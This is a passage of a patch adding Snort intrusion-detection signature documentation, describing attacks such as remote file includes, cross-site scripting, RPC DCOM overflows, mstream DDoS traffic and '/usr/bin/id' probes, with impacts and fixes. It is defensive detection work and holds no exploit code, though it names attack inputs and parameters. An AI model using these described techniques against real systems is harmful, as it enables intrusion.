+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000360.txt
+++ snort-2.8.5.2/doc/signatures/100000360.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000360
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Fastpublish CMS" application running on a webserver. Access to the file "drucken2.php" using a remote file being passed as the "config[fsBase]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "config[fsBase]" parameter in the "drucken2.php" script used by the "Fastpublish CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Fastpublish CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000348.txt
+++ snort-2.8.5.2/doc/signatures/100000348.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000348
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ezupload Pro" application running on a webserver. Access to the file "customize.php" using a remote file being passed as the "path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "path" parameter in the "customize.php" script used by the "Ezupload Pro" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ezupload Pro
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1332.txt
+++ snort-2.8.5.2/doc/signatures/1332.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+1332
+
+--
+Summary:
+Attempted id command access via web
+
+--
+Impact:
+Attempt to gain information on users and groups that exist on the host
+using the id command.
+
+--
+Detailed Information:
+This is an attempt to gain intelligence about the users on a host. "id"
+is a UNIX command that will return information about the system's users
+and groups. This information is valuable to an attacker who can use it
+to plan further attacks based on the users possible login information or
+be more effective in targeting specific users and groups who possess
+elevated privileges . The id command will return information on the
+user, the groups the user belings to and the users' "gid" and "uid".
+
+The rule looks for the "id" command in the client to web server network
+traffic and does not indicate whether the command was actually
+successful in showing the user information. The presence of the "id"
+command web traffic indicates that an attacker attempted to trick the
+web server into executing system in non-interactive mode i.e. without a
+valid shell session. 
+
+Alternatively this rule may trigger in an unencrypted HTTP tunneling
+connection to the server or a shell connection via another exploit
+against the web server.
+
+--
+Attack Scenarios:
+1. The attacker can make a standard HTTP request that contains
+'/usr/bin/id' in the URI which can then return sensitive information on
+groups and users present on the host. 
+
+2. This command may also be requested on a command line should the
+attacker gain access to the machine.
+
+3. An attacker uses a "id" command via a web server connection to test
+what username the web server runs under. He then looks for all the files
+writable by this user and find a web server configuration file with
+wrong permissions.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it's designated web root or cgi-bin. 
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+sid: 1333
+
+man id
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1990.txt
+++ snort-2.8.5.2/doc/signatures/1990.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1990
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000923.txt
+++ snort-2.8.5.2/doc/signatures/100000923.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+
+--
+Summary:
+This detects traffic generated by a particular udp script installed on the serve
+r; this script is usually remotely installed via exploitable software.
+
+--
+Impact:
+The machine sending this traffic is potentially compromised.
+
+--
+Detailed Information:
+This rule detects traffic generated by a the "udp.pl" script installed on the se
+rver; this script is usually remotely installed via exploitable software.
+
+--
+Affected Systems:
+Any running vulnerable PHP programs.
+
+--
+Attack Scenarios:
+The udp.pl script is typically installed on a server through php fopen allowing 
+remote files to be downloaded/executed on the server side; files are normally ow
+ned by the web server user.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Examine the system in question for signs of a successful intrusion, including th
+e presence of a script named "udp.pl". If detected, restore the system from the 
+last known-good backup.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Sago Networks
+Dan Protich <dprotich@sagonet.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/512.txt
+++ snort-2.8.5.2/doc/signatures/512.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+512
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to a PC
+running pcAnywhere
+
+--
+Impact:
+Serious. By the very nature of pcAnywhere, without a strong administrative
+password, a successful attack will allow the attacker to gain total 
+control of the machine.
+
+--
+Detailed Information:
+pcAnywhere is a remote control administrative software package produced 
+by Symantec (http://www.symantec.com/pcanywhere/Consumer/features.html) 
+it allows control of a system via network or RAS connection.
+
+--
+Affected Systems:
+	Windows XP Home and Professional
+	Windows 2000 Professional/Server
+	Windows NT Workstation and Server 4.0
+	Windows 98/Me
+
+--
+Attack Scenarios:
+With a copy of pcAnywhere, and attacker can scan a network (port 22) or
+war-dial a series of modems, looking for pcAnywhere signatures.
+
+--
+Ease of Attack:
+Simple. All that is required is an install of pcAnywhere and a host
+to connect to.
+
+--
+False Positives:
+Since pcAnywhere uses the same port as SSH (22) a simple open port scan 
+can show hosts that my not have pcAnywhere installed
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Make sure only servers and workstations that require remote control have
+pcAnywhere installed.
+Make sure that a strong password is required for any level of access, 
+this ideally should be coupled with some for of alternate 
+authentication, such as SecurID, modem callback or be blocked at the 
+external firewall so that the remote control functionality is only 
+available on the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  Mike Rivett ebiz@rivett.org
+
+-- 
+Additional References:
+Symantec PC Anywhere Home Page
+http://www.symantec.com/pcanywhere/Consumer/
+
+RSA:
+RSA SecurID (www.rsasecurity.com/products/securid/)
+
+Arachnids:
+http://www.whitehats.com/info/IDS240
+
+--
--- snort-2.8.5.2.orig/doc/signatures/248.txt
+++ snort-2.8.5.2/doc/signatures/248.txt
@@ -0,0 +1,57 @@
+Rule:
+--
+Sid:
+248
+
+--
+Summary:
+This event is generated when an mstream DDoS handler responds to an mstream client.
+
+--
+Impact:
+Severe.  If the list source IP is in your network, it may be an mstream handler.  If the listed destination IP is in your network, it may be an mstream client.
+
+--
+Detailed Information:
+The mstream DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, clients communicate with handlers to inform them to launch attacks.  A client may communicate with a handler using a TCP packet to destination port 12754 with a string of ">" in the payload.  A handler responds to this with a TCP source port of 12754 and a string of ">" in the payload.
+
+--
+Affected Systems:
+Any mstream compromised host.
+
+--
+Attack Scenarios:
+An mstream handler may be respond to a communication from an mstream client.
+--
+Ease of Attack:
+Simple. mstream code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+There are other known client-to-handler ports in addition to 12754.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+
+--
--- snort-2.8.5.2.orig/doc/signatures/504.txt
+++ snort-2.8.5.2/doc/signatures/504.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+504
+
+--
+Summary:
+This event is generated when possible non-legitimate traffic is detected
+that should not be allowed through a firewall.
+
+--
+Impact:
+This can be used to pass through a poorly configured firewall.
+
+--
+Detailed Information:
+
+Traffic from TCP port 53 is used by DNS servers for zone transfers.  
+Normal DNS traffic uses the UDP protocol.  An attacker could use a TCP 
+source port of 53 to pass through a poorly configured firewall.  DNS 
+traffic from port 53 using either UDP or TCP should be to a port above 
+1023.  Ports 1023 and below are privileged.
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+An attacker could use a source port of 53 for TCP connections to bypass 
+a poorly configured firewall.  
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Incoming connections from TCP port 53 should only be allowed to machines
+that need the ability to do zone tranfers.  
+
+Connections from TCP port 53 should only be allowed to ports >=1024 on 
+these machines.  
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS07
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1632.txt
+++ snort-2.8.5.2/doc/signatures/1632.txt
@@ -0,0 +1,51 @@
+Rule:
+
+--
+Sid: 1632
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000671.txt
+++ snort-2.8.5.2/doc/signatures/100000671.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000671
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "preload.php" using a remote file being passed as the 
+"func_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "func_prog" parameter in the "preload.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3224.txt
+++ snort-2.8.5.2/doc/signatures/3224.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3224
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1994.txt
+++ snort-2.8.5.2/doc/signatures/1994.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1994
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000654.txt
+++ snort-2.8.5.2/doc/signatures/100000654.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000654
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "text" parameter in the "index.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3426.txt
+++ snort-2.8.5.2/doc/signatures/3426.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3426
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/836.txt
+++ snort-2.8.5.2/doc/signatures/836.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+836
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/610.txt
+++ snort-2.8.5.2/doc/signatures/610.txt
@@ -0,0 +1,57 @@
+Rule: 
+
+--
+Sid: 610
+
+--
+Summary: 
+This event is generated when an attempt to login as the superuser is attempted using rsh.
+
+--
+Impact: 
+Serious. If successful the attacker may have gained superuser access to the host.
+
+--
+Detailed Information: 
+This rule generates an event when a connection is made using "rsh" with the username "root". Such activity is indicative of attempts to abuse insecure machines with a known default configuration. 
+
+Some UNIX systems use the "rsh" daemon which permits remote "root" logins. This may allow an attacker to connect to the machine and establish an interactive session.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with the "rsh" service running and connects to it, then proceeds to guess the "root" password
+
+--
+Ease of Attack:
+Simple, no exploit software required
+
+--
+False Positives: 
+A system administrator may be logging in to a host using the username "root"
+
+--
+False Negatives: 
+If a local username is not the same as the remote one ("root"), the rule will not generate an event.
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rsh.
+
+Deny remote root logins to the host, use a normal user and "sudo" or give the user the ability to "su" to root where appropriate.
+
+--
+Contributors:
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS391
+
+--
--- snort-2.8.5.2.orig/doc/signatures/395.txt
+++ snort-2.8.5.2/doc/signatures/395.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+
+Sid:
+395
+
+--
+
+Summary:
+This event is generated when an ICMP Destination Network Unknown datagram is detected on the network.  Gateway devices normally generate these ICMP messages when the destination network is unreachable.
+
+--
+
+Impact:
+This ICMP message will be generated when the destination network specified in the datagram is unreachable.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems or faulty routing
+devices.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no correct action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1568.txt
+++ snort-2.8.5.2/doc/signatures/1568.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1568
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3230.txt
+++ snort-2.8.5.2/doc/signatures/3230.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3230
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/863.txt
+++ snort-2.8.5.2/doc/signatures/863.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+863
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
